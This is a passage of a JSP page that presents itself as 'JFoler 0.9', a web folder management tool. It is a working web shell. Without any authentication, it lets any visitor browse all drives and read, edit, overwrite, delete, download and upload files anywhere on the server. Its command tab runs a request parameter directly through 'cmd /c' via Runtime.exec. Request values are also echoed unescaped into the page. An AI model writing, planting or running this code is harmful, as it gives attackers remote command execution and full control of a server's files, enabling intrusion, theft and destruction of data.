||||
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
|
||||
boolean isFile = false;
|
||||
if (saveFiles) { // Create the required directory (including parent dirs)
|
||||
File f = new File(saveInDir);
|
||||
f.mkdirs();
|
||||
}
|
||||
line = getLine(is);
|
||||
if (line == null || !line.startsWith(boundary)) throw new IOException(
|
||||
"Boundary not found; boundary = " + boundary + ", line = " + line);
|
||||
while (line != null) {
|
||||
if (line == null || !line.startsWith(boundary)) return dataTable;
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
stLine = new StringTokenizer(line, ";\r\n");
|
||||
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
line = stLine.nextToken().toLowerCase();
|
||||
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
|
||||
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in second line");
|
||||
fileInfo = new FileInfo();
|
||||
stFields.nextToken();
|
||||
paramName = stFields.nextToken();
|
||||
isFile = false;
|
||||
if (stLine.hasMoreTokens()) {
|
||||
field = stLine.nextToken();
|
||||
stFields = new StringTokenizer(field, "=\"");
|
||||
if (stFields.countTokens() > 1) {
|
||||
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
|
||||
fileInfo.name = paramName;
|
||||
String value = stFields.nextToken();
|
||||
if (value != null && value.trim().length() > 0) {
|
||||
fileInfo.clientFileName = value;
|
||||
isFile = true;
|
||||
}
|
||||
else {
|
||||
line = getLine(is); // Skip "Content-Type:" line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Position to boundary line
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (field.toLowerCase().indexOf("filename") >= 0) {
|
||||
line = getLine(is); // Skip "Content-Type:" line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Skip blank line
|
||||
line = getLine(is); // Position to boundary line
|
||||
continue;
|
||||
}
|
||||
}
|
||||
boolean skipBlankLine = true;
|
||||
if (isFile) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
if (line.trim().length() < 1) skipBlankLine = false;
|
||||
else {
|
||||
stLine = new StringTokenizer(line, ": ");
|
||||
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
|
||||
"Bad data in third line");
|
||||
stLine.nextToken(); // Content-Type
|
||||
fileInfo.fileContentType = stLine.nextToken();
|
||||
}
|
||||
}
|
||||
if (skipBlankLine) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
}
|
||||
if (!isFile) {
|
||||
line = getLine(is);
|
||||
if (line == null) return dataTable;
|
||||
dataTable.put(paramName, line);
|
||||
// If parameter is dir, change saveInDir to dir
|
||||
if (paramName.equals("dir")) saveInDir = line;
|
||||
line = getLine(is);
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
UplInfo uplInfo = new UplInfo(clength);
|
||||
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
|
||||
OutputStream os = null;
|
||||
String path = null;
|
||||
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
|
||||
fileInfo.clientFileName));
|
||||
else os = new ByteArrayOutputStream(ONE_MB);
|
||||
boolean readingContent = true;
|
||||
byte previousLine[] = new byte[2 * ONE_MB];
|
||||
byte temp[] = null;
|
||||
byte currentLine[] = new byte[2 * ONE_MB];
|
||||
int read, read3;
|
||||
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
|
||||
line = null;
|
||||
break;
|
||||
}
|
||||
while (readingContent) {
|
||||
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
|
||||
line = null;
|
||||
uplInfo.aborted = true;
|
||||
break;
|
||||
}
|
||||
if (compareBoundary(boundary, currentLine)) {
|
||||
os.write(previousLine, 0, read - 2);
|
||||
line = new String(currentLine, 0, read3);
|
||||
break;
|
||||
}
|
||||
else {
|
||||
os.write(previousLine, 0, read);
|
||||
uplInfo.currSize += read;
|
||||
temp = currentLine;
|
||||
currentLine = previousLine;
|
||||
previousLine = temp;
|
||||
read = read3;
|
||||
}//end else
|
||||
}//end while
|
||||
os.flush();
|
||||
os.close();
|
||||
if (!saveFiles) {
|
||||
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
|
||||
fileInfo.setFileContents(baos.toByteArray());
|
||||
}
|
||||
else fileInfo.file = new File(path);
|
||||
dataTable.put(paramName, fileInfo);
|
||||
uplInfo.currSize = uplInfo.totalSize;
|
||||
}//end try
|
||||
catch (IOException e) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
return dataTable;
|
||||
}
|
||||
|
||||
/**
|
||||
* Compares boundary string to byte array
|
||||
*/
|
||||
private boolean compareBoundary(String boundary, byte ba[]) {
|
||||
byte b;
|
||||
if (boundary == null || ba == null) return false;
|
||||
for (int i = 0; i < boundary.length(); i++)
|
||||
if ((byte) boundary.charAt(i) != ba[i]) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/** Convenience method to read HTTP header lines */
|
||||
private synchronized String getLine(ServletInputStream sis) throws IOException {
|
||||
byte b[] = new byte[1024];
|
||||
int read = sis.readLine(b, 0, b.length), index;
|
||||
String line = null;
|
||||
if (read != -1) {
|
||||
line = new String(b, 0, read);
|
||||
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
|
||||
}
|
||||
return line;
|
||||
}
|
||||
|
||||
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
|
||||
String path = null;
|
||||
if (dir == null || fileName == null) throw new IllegalArgumentException(
|
||||
"dir or fileName is null");
|
||||
int index = fileName.lastIndexOf('/');
|
||||
String name = null;
|
||||
if (index >= 0) name = fileName.substring(index + 1);
|
||||
else name = fileName;
|
||||
index = name.lastIndexOf('\\');
|
||||
if (index >= 0) fileName = name.substring(index + 1);
|
||||
path = dir + File.separator + fileName;
|
||||
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
|
||||
else return path.replace('/', File.separatorChar);
|
||||
}
|
||||
} //End of class HttpMultiPartParser
|
||||
|
||||
String formatPath(String p)
|
||||
{
|
||||
StringBuffer sb=new StringBuffer();
|
||||
for (int i = 0; i < p.length(); i++)
|
||||
{
|
||||
if(p.charAt(i)=='\\')
|
||||
{
|
||||
sb.append("\\\\");
|
||||
}
|
||||
else
|
||||
{
|
||||
sb.append(p.charAt(i));
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts some important chars (int) to the corresponding html string
|
||||
*/
|
||||
static String conv2Html(int i) {
|
||||
if (i == '&') return "&";
|
||||
else if (i == '<') return "<";
|
||||
else if (i == '>') return ">";
|
||||
else if (i == '"') return """;
|
||||
else return "" + (char) i;
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a normal string to a html conform string
|
||||
*/
|
||||
static String htmlEncode(String st) {
|
||||
StringBuffer buf = new StringBuffer();
|
||||
for (int i = 0; i < st.length(); i++) {
|
||||
buf.append(conv2Html(st.charAt(i)));
|
||||
}
|
||||
return buf.toString();
|
||||
}
|
||||
String getDrivers()
|
||||
/**
|
||||
Windows系统上取得可用的所有逻辑盘
|
||||
*/
|
||||
{
|
||||
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
|
||||
File roots[]=File.listRoots();
|
||||
for(int i=0;i<roots.length;i++)
|
||||
{
|
||||
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
|
||||
sb.append(roots[i]+"</a> ");
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
static String convertFileSize(long filesize)
|
||||
{
|
||||
//bug 5.09M 显示5.9M
|
||||
String strUnit="Bytes";
|
||||
String strAfterComma="";
|
||||
int intDivisor=1;
|
||||
if(filesize>=1024*1024)
|
||||
{
|
||||
strUnit = "MB";
|
||||
intDivisor=1024*1024;
|
||||
}
|
||||
else if(filesize>=1024)
|
||||
{
|
||||
strUnit = "KB";
|
||||
intDivisor=1024;
|
||||
}
|
||||
if(intDivisor==1) return filesize + " " + strUnit;
|
||||
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
|
||||
if(strAfterComma=="") strAfterComma=".0";
|
||||
return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
|
||||
}
|
||||
%>
|
||||
<%
|
||||
request.setCharacterEncoding("gb2312");
|
||||
String tabID = request.getParameter("tabID");
|
||||
String strDir = request.getParameter("path");
|
||||
String strAction = request.getParameter("action");
|
||||
String strFile = request.getParameter("file");
|
||||
String strPath = strDir + "\\" + strFile;
|
||||
String strCmd = request.getParameter("cmd");
|
||||
StringBuffer sbEdit=new StringBuffer("");
|
||||
StringBuffer sbDown=new StringBuffer("");
|
||||
StringBuffer sbCopy=new StringBuffer("");
|
||||
StringBuffer sbSaveCopy=new StringBuffer("");
|
||||
StringBuffer sbNewFile=new StringBuffer("");
|
||||
|
||||
if((tabID==null) || tabID.equals(""))
|
||||
{
|
||||
tabID = "1";
|
||||
}
|
||||
|
||||
if(strDir==null||strDir.length()<1)
|
||||
{
|
||||
strDir = request.getRealPath("/");
|
||||
}
|
||||
|
||||
|
||||
if(strAction!=null && strAction.equals("down"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
if(f.length()==0)
|
||||
{
|
||||
sbDown.append("文件大小为 0 字节,就不用下了吧");
|
||||
}
|
||||
else
|
||||
{
|
||||
response.setHeader("content-type","text/html; charset=ISO-8859-1");
|
||||
response.setContentType("APPLICATION/OCTET-STREAM");
|
||||
response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
|
||||
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
|
||||
out.clearBuffer();
|
||||
int i;
|
||||
while ((i=fileInputStream.read()) != -1)
|
||||
{
|
||||
out.write(i);
|
||||
}
|
||||
fileInputStream.close();
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("del"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
f.delete();
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("edit"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
|
||||
sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
|
||||
sbEdit.append("<input type=hidden name=action value=save >\r\n");
|
||||
sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||
sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||
sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
|
||||
sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> "+strPath+"\r\n");
|
||||
sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
|
||||
String line="";
|
||||
while((line=br.readLine())!=null)
|
||||
{
|
||||
sbEdit.append(htmlEncode(line)+"\r\n");
|
||||
}
|
||||
sbEdit.append("</textarea>");
|
||||
sbEdit.append("<input type=hidden name=path value="+strDir+">");
|
||||
sbEdit.append("</form>");
|
||||
}
|
||||
|
||||
if(strAction!=null && strAction.equals("save"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
|
||||
String strContent=request.getParameter("content");
|
||||
bw.write(strContent);
|
||||
bw.close();
|
||||
}
|
||||
if(strAction!=null && strAction.equals("copy"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
|
||||
sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
|
||||
sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
|
||||
sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
|
||||
sbCopy.append("原始文件: "+strPath+"<p>");
|
||||
sbCopy.append("目标文件: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
|
||||
sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
|
||||
sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p> \r\n");
|
||||
sbCopy.append("</form>");
|
||||
}
|
||||
if(strAction!=null && strAction.equals("savecopy"))
|
||||
{
|
||||
File f=new File(strPath);
|
||||
String strDesFile=request.getParameter("file2");
|
||||
if(strDesFile==null || strDesFile.equals(""))
|
||||
{
|
||||
sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
|
||||
}
|
||||
else
|
||||
{
|
||||
File f_des=new File(strDesFile);
|
||||
if(f_des.isFile())
|
||||
{
|
||||
sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
|
||||
}
|
||||
else
|
||||
{
|
||||
String strTmpFile=strDesFile;
|
||||
if(f_des.isDirectory())
|
||||
{
|
||||
if(!strDesFile.endsWith("\\"))
|
||||
{
|
||||
strDesFile=strDesFile+"\\";
|
||||
}
|
||||
strTmpFile=strDesFile+"cqq_"+strFile;
|
||||
}
|
||||
|
||||
File f_des_copy=new File(strTmpFile);
|
||||
FileInputStream in1=new FileInputStream(f);
|
||||
FileOutputStream out1=new FileOutputStream(f_des_copy);
|
||||
byte[] buffer=new byte[1024];
|
||||
int c;
|
||||
while((c=in1.read(buffer))!=-1)
|
||||
{
|
||||
out1.write(buffer,0,c);
|
||||
}
|
||||
in1.close();
|
||||
out1.close();
|
||||
|
||||
sbSaveCopy.append("原始文件 :"+strPath+"<p>");
|
||||
sbSaveCopy.append("目标文件 :"+strTmpFile+"<p>");
|
||||
sbSaveCopy.append("<font color=red>复制成功!</font>");
|
||||
}
|
||||
}
|
||||
sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
|
||||
}
|
||||
if(strAction!=null && strAction.equals("newFile"))
|
||||
{
|
||||
String strF=request.getParameter("fileName");
|
||||
String strType1=request.getParameter("btnNewFile");
|
||||
String strType2=request.getParameter("btnNewDir");
|
||||
String strType="";
|
||||
if(strType1==null)
|
||||
{
|
||||
strType="Dir";
|
||||
}
|
||||
else if(strType2==null)
|
||||
{
|
||||
strType="File";
|
||||
}
|
||||
if(!strType.equals("") && !(strF==null || strF.equals("")))
|
||||
{
|
||||
File f_new=new File(strF);
|
||||
if(strType.equals("File") && !f_new.createNewFile())
|
||||
sbNewFile.append(strF+" 文件创建失败");
|
||||
if(strType.equals("Dir") && !f_new.mkdirs())
|
||||
sbNewFile.append(strF+" 目录创建失败");
|
||||
}
|
||||
else
|
||||
{
|
||||
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
|
||||
}
|
||||
}
|
||||
|
||||
if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
|
||||
{
|
||||
String tempdir=".";
|
||||
boolean error=false;
|
||||
response.setContentType("text/html");
|
||||
sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
|
||||
HttpMultiPartParser parser = new HttpMultiPartParser();
|
||||
|
||||
int bstart = request.getContentType().lastIndexOf("oundary=");
|
||||
String bound = request.getContentType().substring(bstart + 8);
|
||||
int clength = request.getContentLength();
|
||||
Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
|
||||
if (ht.get("cqqUploadFile") != null)
|
||||
{
|
||||
|
||||
FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
|
||||
File f1 = fi.file;
|
||||
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
|
||||
if (info != null && info.aborted)
|
||||
{
|
||||
f1.delete();
|
||||
request.setAttribute("error", "Upload aborted");
|
||||
}
|
||||
else
|
||||
{
|
||||
String path = (String) ht.get("path");
|
||||
if(path!=null && !path.endsWith("\\"))
|
||||
path = path + "\\";
|
||||
if (!f1.renameTo(new File(path + f1.getName())))
|
||||
{
|
||||
request.setAttribute("error", "Cannot upload file.");
|
||||
error = true;
|
||||
f1.delete();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
%>
|
||||
<html>
|
||||
<head>
|
||||
<style type="text/css">
|
||||
td,select,input,body{font-size:9pt;}
|
||||
A { TEXT-DECORATION: none }
|
||||
|
||||
#tablist{
|
||||
padding: 5px 0;
|
||||
margin-left: 0;
|
||||
margin-bottom: 0;
|
||||
margin-top: 0.1em;
|
||||
font:9pt;
|
||||
}
|
||||
|
||||
#tablist li{
|
||||
list-style: none;
|
||||
display: inline;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
#tablist li a{
|
||||
padding: 3px 0.5em;
|
||||
margin-left: 3px;
|
||||
border: 1px solid ;
|
||||
background: F6F6F6;
|
||||
}
|
||||
|
||||
#tablist li a:link, #tablist li a:visited{
|
||||
color: navy;
|
||||
}
|
||||
|
||||
#tablist li a.current{
|
||||
background: #EAEAFF;
|
||||
}
|
||||
|
||||
#tabcontentcontainer{
|
||||
width: 100%;
|
||||
padding: 5px;
|
||||
border: 1px solid black;
|
||||
}
|
||||
|
||||
.tabcontent{
|
||||
display:none;
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<script type="text/javascript">
|
||||
|
||||
var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
|
||||
|
||||
////////Stop editting////////////////
|
||||
|
||||
function cascadedstyle(el, cssproperty, csspropertyNS){
|
||||
if (el.currentStyle)
|
||||
return el.currentStyle[cssproperty]
|
||||
else if (window.getComputedStyle){
|
||||
var elstyle=window.getComputedStyle(el, "")
|
||||
return elstyle.getPropertyValue(csspropertyNS)
|
||||
}
|
||||
}
|
||||
|
||||
var previoustab=""
|
||||
|
||||
function expandcontent(cid, aobject){
|
||||
if (document.getElementById){
|
||||
highlighttab(aobject)
|
||||
if (previoustab!="")
|
||||
document.getElementById(previoustab).style.display="none"
|
||||
document.getElementById(cid).style.display="block"
|
||||
previoustab=cid
|
||||
if (aobject.blur)
|
||||
aobject.blur()
|
||||
return false
|
||||
}
|
||||
else
|
||||
return true
|
||||
}
|
||||
|
||||
function highlighttab(aobject){
|
||||
if (typeof tabobjlinks=="undefined")
|
||||
collecttablinks()
|
||||
for (i=0; i<tabobjlinks.length; i++)
|
||||
tabobjlinks[i].style.backgroundColor=initTabcolor
|
||||
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
|
||||
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
|
||||
}
|
||||
|
||||
function collecttablinks(){
|
||||
var tabobj=document.getElementById("tablist")
|
||||
tabobjlinks=tabobj.getElementsByTagName("A")
|
||||
}
|
||||
|
||||
function do_onload(){
|
||||
collecttablinks()
|
||||
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
|
||||
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
|
||||
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
|
||||
}
|
||||
|
||||
if (window.addEventListener)
|
||||
window.addEventListener("load", do_onload, false)
|
||||
else if (window.attachEvent)
|
||||
window.attachEvent("onload", do_onload)
|
||||
else if (document.getElementById)
|
||||
window.onload=do_onload
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
<script language="javascript">
|
||||
|
||||
function doForm(action,path,file,cmd,tab,content)
|
||||
{
|
||||
document.frmCqq.action.value=action;
|
||||
document.frmCqq.path.value=path;
|
||||
document.frmCqq.file.value=file;
|
||||
document.frmCqq.cmd.value=cmd;
|
||||
document.frmCqq.tabID.value=tab;
|
||||
document.frmCqq.content.value=content;
|
||||
if(action=="del")
|
||||
{
|
||||
if(confirm("确定要删除文件 "+file+" 吗?"))
|
||||
document.frmCqq.submit();
|
||||
}
|
||||
else
|
||||
{
|
||||
document.frmCqq.submit();
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
|
||||
<head>
|
||||
|
||||
|
||||
<body>
|
||||
|
||||
<form name="frmCqq" method="post" action="">
|
||||
<input type="hidden" name="action" value="">
|
||||
<input type="hidden" name="path" value="">
|
||||
<input type="hidden" name="file" value="">
|
||||
<input type="hidden" name="cmd" value="">
|
||||
<input type="hidden" name="tabID" value="2">
|
||||
<input type="hidden" name="content" value="">
|
||||
</form>
|
||||
|
||||
<!--Top Menu Started-->
|
||||
<ul id="tablist">
|
||||
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
|
||||
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
|
||||
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
|
||||
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
|
||||
<%=authorInfo[languageNo]%>
|
||||
</ul>
|
||||
<!--Top Menu End-->
|
||||
|
||||
|
||||
<%
|
||||
StringBuffer sbFolder=new StringBuffer("");
|
||||
StringBuffer sbFile=new StringBuffer("");
|
||||
try
|
||||
{
|
||||
File objFile = new File(strDir);
|
||||
File list[] = objFile.listFiles();
|
||||
if(objFile.getAbsolutePath().length()>3)
|
||||
{
|
||||
sbFolder.append("<tr><td > </td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||
sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
|
||||
|
||||
|
||||
}
|
||||
for(int i=0;i<list.length;i++)
|
||||
{
|
||||
if(list[i].isDirectory())
|
||||
{
|
||||
sbFolder.append("<tr><td > </td><td>");
|
||||
sbFolder.append(" <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
|
||||
sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
|
||||
}
|
||||
else
|
||||
{
|
||||
String strLen="";
|
||||
String strDT="";
|
||||
long lFile=0;
|
||||
lFile=list[i].length();
|
||||
strLen = convertFileSize(lFile);
|
||||
Date dt=new Date(list[i].lastModified());
|
||||
strDT=dt.toLocaleString();
|
||||
sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
|
||||
sbFile.append(""+list[i].getName());
|
||||
sbFile.append("</td><td>");
|
||||
sbFile.append(""+strLen);
|
||||
sbFile.append("</td><td>");
|
||||
sbFile.append(""+strDT);
|
||||
sbFile.append("</td><td>");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileEdit[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileDel[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileDown[languageNo]+"</a> ");
|
||||
|
||||
sbFile.append(" <a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
|
||||
sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
out.println("<font color=red>操作失败: "+e.toString()+"</font>");
|
||||
}
|
||||
%>
|
||||
|
||||
<DIV id="tabcontentcontainer">
|
||||
|
||||
|
||||
<div id="menu3" class="tabcontent">
|
||||
<br>
|
||||
<br> 未完成
|
||||
<br>
|
||||
<br>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="menu4" class="tabcontent">
|
||||
<br>
|
||||
<p>一、功能说明</p>
|
||||
<p> jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、</p>
|
||||
<p>删除、下载文件和目录。对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似</p>
|
||||
<p>与windows的cmd。</p>
|
||||
<p> </p>
|
||||
<p>二、测试</p>
|
||||
<p> <b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言,以便使这个程序更加完善和稳定,<p>
|
||||
留言地址为:<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
|
||||
<p> </p>
|
||||
<p>三、更新记录</p>
|
||||
<p> 2004.11.15 V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
|
||||
<p> 2004.10.27 暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能</p>
|
||||
<p> 2004.09.20 第一个jsp 程序就是这个简单的显示目录文件的小程序</p>
|
||||
<p> </p>
|
||||
<p> </p>
|
||||
</div>
|
||||
|
||||
|
||||
<div id="menu1" class="tabcontent">
|
||||
<%
|
||||
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||
%>
|
||||
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
|
||||
|
||||
<tr>
|
||||
<td width="25%" align="center" valign="top">
|
||||
<table width="98%" border="0" cellspacing="0" cellpadding="3">
|
||||
<%=sbFolder%>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
<td width="81%" align="left" valign="top">
|
||||
|
||||
<%
|
||||
if(strAction!=null && strAction.equals("edit"))
|
||||
{
|
||||
out.println(sbEdit.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("copy"))
|
||||
{
|
||||
out.println(sbCopy.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("down"))
|
||||
{
|
||||
out.println(sbDown.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("savecopy"))
|
||||
{
|
||||
out.println(sbSaveCopy.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||
{
|
||||
out.println(sbNewFile.toString());
|
||||
}
|
||||
else
|
||||
{
|
||||
%>
|
||||
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||
<tr bgcolor="#E7e7e6">
|
||||
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||
</tr>
|
||||
<%=sbFile%>
|
||||
<!-- <tr align="center">
|
||||
<td colspan="4"><br>
|
||||
总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>
|
||||
KB </td>
|
||||
</tr>
|
||||
-->
|
||||
</table>
|
||||
</span>
|
||||
<%
|
||||
}
|
||||
%>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<form name="frmMake" action="" method="post">
|
||||
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||
<input type="hidden" name="action" value="newFile">
|
||||
<input type="hidden" name="path" value="<%=strDir%>">
|
||||
<input type="hidden" name="file" value="<%=strFile%>">
|
||||
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||
<input type="hidden" name="tabID" value="1">
|
||||
<input type="hidden" name="content" value="">
|
||||
<%
|
||||
if(!strDir.endsWith("\\"))
|
||||
strDir = strDir + "\\";
|
||||
%>
|
||||
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||
<input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" >
|
||||
<input type="submit" name="btnNewDir" value="新建目录" onclick="frmMake.submit()" >
|
||||
</form>
|
||||
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||
<input type="hidden" name="action" value="upload">
|
||||
<input type="hidden" name="path" value="<%=strDir%>">
|
||||
<input type="hidden" name="file" value="<%=strFile%>">
|
||||
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||
<input type="hidden" name="tabID" value="1">
|
||||
<input type="hidden" name="content" value="">
|
||||
<input type="file" name="cqqUploadFile" size="36">
|
||||
<input type="submit" name="submit" value="上传">
|
||||
</td></tr></form>
|
||||
</table>
|
||||
</div>
|
||||
<div id="menu2" class="tabcontent">
|
||||
|
||||
<%
|
||||
String line="";
|
||||
StringBuffer sbCmd=new StringBuffer("");
|
||||
|
||||
if(strCmd!=null)
|
||||
{
|
||||
try
|
||||
{
|
||||
//out.println(strCmd);
|
||||
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||
while((line=br.readLine())!=null)
|
||||
{
|
||||
sbCmd.append(line+"\r\n");
|
||||
}
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
System.out.println(e.toString());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
strCmd = "set";
|
||||
}
|
||||
|
||||
%>
|
||||
<form name="cmd" action="" method="post">
|
||||
|
||||
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
